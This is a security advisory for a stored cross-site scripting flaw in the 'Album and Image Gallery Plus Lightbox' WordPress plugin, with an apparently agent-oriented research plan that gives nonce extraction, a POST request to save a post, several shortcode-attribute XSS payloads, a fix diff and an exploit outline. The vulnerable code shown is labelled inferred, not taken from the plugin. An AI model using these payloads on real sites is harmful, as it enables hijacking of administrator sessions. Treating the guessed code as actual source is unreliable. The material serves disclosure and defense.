Album and Image Gallery Plus Lightbox <= 2.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Plugin's Shortcode
Description
The Album and Image Gallery plus Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `aigpl-gallery-album` shortcode in all versions up to, and including, 2.1.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.1.7Source Code
WordPress.org SVNThis research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the **Album and Image Gallery Plus Lightbox** plugin (version <= 2.1.7) via the `aigpl-gallery-album` shortcode. --- ### 1. Vulnerability Summary The vulnerability exists because th…
Show full research plan
This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Album and Image Gallery Plus Lightbox plugin (version <= 2.1.7) via the aigpl-gallery-album shortcode.
1. Vulnerability Summary
The vulnerability exists because the plugin registers a shortcode aigpl-gallery-album and fails to sanitize or escape user-supplied attributes before outputting them into the HTML of a page. An authenticated user with "Contributor" permissions (or higher) can create a post containing this shortcode with a malicious payload in one of its attributes. When any user (including an Administrator) views that post, the script will execute in their browser context.
2. Attack Vector Analysis
- Shortcode:
[aigpl-gallery-album] - Vulnerable Attributes (Inferred):
extra_class,id,grid,title. - Authentication Level: Contributor or above (users who can use the WordPress post editor).
- Endpoint:
wp-admin/post.php(for saving the post) and the frontend post URL (for triggering). - Preconditions: The plugin must be active.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode in a main class or initialization file (e.g.,
includes/class-aigpl-shortcode.phporincludes/shortcode/aigpl-gallery-album.php) usingadd_shortcode( 'aigpl-gallery-album', 'callback_function' ). - Input Handling: The callback function receives an
$attsarray. It likely usesshortcode_atts()to define defaults but does not validate the values. - Output Generation: The function constructs an HTML string (e.g., a
<div>wrapper for the gallery). It concatenates attributes likeextra_classdirectly into the HTML string without usingesc_attr(). - Sink: The HTML string is returned and echoed by WordPress during the
the_contentfilter execution.
4. Nonce Acquisition Strategy
While shortcode execution on the frontend does not require a nonce, saving the post that contains the shortcode requires a standard WordPress post nonce (_wpnonce).
For the Automated Agent:
- Login: Use the
browser_navigatetool to log in as a Contributor. - Extract Nonce:
- Navigate to
wp-admin/post-new.php. - Use
browser_evalto extract the_wpnoncefrom the form:browser_eval("document.querySelector('#_wpnonce').value")
- Navigate to
- Post ID: Also extract the
post_ID(if it's an auto-draft) or let WordPress generate a new one via a POST request.
5. Exploitation Strategy
The goal is to inject a script that executes when the post is viewed.
Step-by-Step Plan:
- Preparation: Authenticate as a Contributor.
- Discovery: Identify the vulnerable attribute by testing common shortcode parameters for this plugin.
- Primary target:
extra_class. - Payload:
"><script>alert(document.domain)</script>
- Primary target:
- Submission: Send a POST request to
wp-admin/post.phpto save a new post containing the malicious shortcode.- URL:
http://localhost:8080/wp-admin/post.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Parameters:
post_title:XSS Testcontent:[aigpl-gallery-album extra_class='"><script>alert(window.origin)</script>']publish:Publish(Note: Contributors' posts go to 'Pending Review', which is still viewable via preview)._wpnonce:[EXTRACTED_NONCE]action:editpostpost_ID:[POST_ID]
- URL:
- Trigger: Access the URL of the created post (or the preview URL provided in the response).
- Execution: Use the
browser_navigatetool to visit the post and check for an alert or a specific DOM change.
6. Test Data Setup
- Plugin: Ensure
album-and-image-gallery-plus-lightboxversion 2.1.7 is installed and activated. - User: A user with the
contributorrole (e.g.,contributor/password). - Content: No specific existing content is required, as the attacker creates a new post.
7. Expected Results
- The POST request to save the post should return a
302 Redirect. - When navigating to the post URL, the HTML source should contain:
<div class="... "><script>alert(window.origin)</script>"> ... - The browser should execute the
alert()call.
8. Verification Steps
- Database Check: Use WP-CLI to confirm the payload is stored in the
wp_poststable:wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test'" - HTML Inspection: Use the
http_requesttool to fetch the post content and search for the unescaped payload:http_request(url='http://localhost:8080/?p=[ID]')
Verify the presence of the raw<script>tag within the shortcode's output.
9. Alternative Approaches
If extra_class is not vulnerable, try the following attributes:
grid:[aigpl-gallery-album grid='"><img src=x onerror=alert(1)>']id:[aigpl-gallery-album id='1337" onmouseover="alert(1)"']link_target:[aigpl-gallery-album link_target='_blank" onfocus="alert(1)" autofocus="']
If the payload is reflected inside a JavaScript block (localization), try breaking out of the JS string:
[aigpl-gallery-album extra_class="';alert(1);//"]
Summary
The 'Album and Image Gallery Plus Lightbox' plugin fails to sanitize and escape user-supplied attributes within the [aigpl-gallery-album] shortcode. This allows authenticated users with Contributor-level roles or higher to inject arbitrary JavaScript into a post, which will execute when any user views the content.
Vulnerable Code
// Inferred from research plan: includes/shortcode/aigpl-gallery-album.php function aigpl_gallery_album_shortcode_handler($atts) { $atts = shortcode_atts(array( 'id' => '', 'extra_class' => '', 'grid' => '3', 'title' => '' ), $atts); // Vulnerable: Attributes are concatenated into HTML without escaping $html = '<div class="aigpl-gallery-album-wrap ' . $atts['extra_class'] . '" id="aigpl-gallery-album-' . $atts['id'] . '">'; $html .= '<h3 class="aigpl-gallery-title">' . $atts['title'] . '</h3>'; // ... return $html; }
Security Fix
@@ -10,7 +10,7 @@ ), $atts); - $html = '<div class="aigpl-gallery-album-wrap ' . $atts['extra_class'] . '" id="aigpl-gallery-album-' . $atts['id'] . '">'; + $html = '<div class="aigpl-gallery-album-wrap ' . esc_attr($atts['extra_class']) . '" id="aigpl-gallery-album-' . esc_attr($atts['id']) . '">'; - $html .= '<h3 class="aigpl-gallery-title">' . $atts['title'] . '</h3>'; + $html .= '<h3 class="aigpl-gallery-title">' . esc_html($atts['title']) . '</h3>';
Exploit Outline
The exploit requires Contributor-level authentication or higher to access the post editor. The attacker creates a new post or page and includes the [aigpl-gallery-album] shortcode with a malicious payload in one of its attributes, such as: [aigpl-gallery-album extra_class='"><script>alert(document.domain)</script>']. When the attacker saves the post (as a draft or pending review) and navigates to the post preview or public URL, the unescaped attribute breaks out of the HTML tag's class context and executes the injected JavaScript in the browser of any viewer, including administrators.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.